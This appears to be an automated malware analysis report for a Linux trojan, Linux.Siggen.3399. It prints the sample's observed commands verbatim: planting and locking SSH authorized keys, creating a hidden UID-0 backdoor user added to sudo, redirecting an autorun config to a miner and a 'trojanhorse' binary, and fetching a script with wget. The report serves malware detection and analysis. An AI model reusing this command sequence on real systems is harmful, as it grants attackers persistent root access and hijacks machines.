Linux.Siggen.3399

Malicious functions:

Gets access to SSH keys

Launches processes:

/bin/bash <SAMPLE_FULL_PATH> -c exec '<SAMPLE_FULL_PATH>' \"$@\" <SAMPLE_FULL_PATH>
<SAMPLE_FULL_PATH>
/bin/bash <SAMPLE_FULL_PATH> -c
grep -oP (?<=\"wgetserver\": \")[^\"]* .autorun.json
pgrep -x syst3md
id -u
mkdir .settings
mkdir /root/.ssh
cat .settings/.rsakey
chmod 600 /root/.ssh/authorized_keys
chattr +ia /root/.ssh
sleep 1
cp .autorun.json .autorun.bak.json
sed -i -e s@minerl@/root/syst3md@g .autorun.json
sed -i -e s@hookl@/root/1@g .autorun.json
sed -i -e s@apache3l@/root/trojanhorse@g .autorun.json
sed -i -e s@fakerl@/root/.fake@g .autorun.json
/usr/sbin/useradd -u0 -g0 -o -s /bin/bash ad1tz
nscd -i passwd
nscd -i group
usermod -aG sudo ad1tz
mkdir /var/tmp/.google
cp config.json /var/tmp/.google/bing.json
rm -rf config.json
sed -i -e s@minercfgl@/var/tmp/.google/bing.json@g .autorun.json
cp .autorun.json /var/tmp/.google/yandex.json
rm -rf .autorun.json
clear
sleep 2
sleep 3
./trojanhorse
wget -q /clear.sh
chmod +x <SAMPLE> run.sh stdout.log
rm -rf clear*

Performs operations with the file system:

Modifies file access rights:

Creates folders:

Creates symlinks:

Creates or modifies files:

Deletes files:

Other:

Collects CPU information

Collects RAM information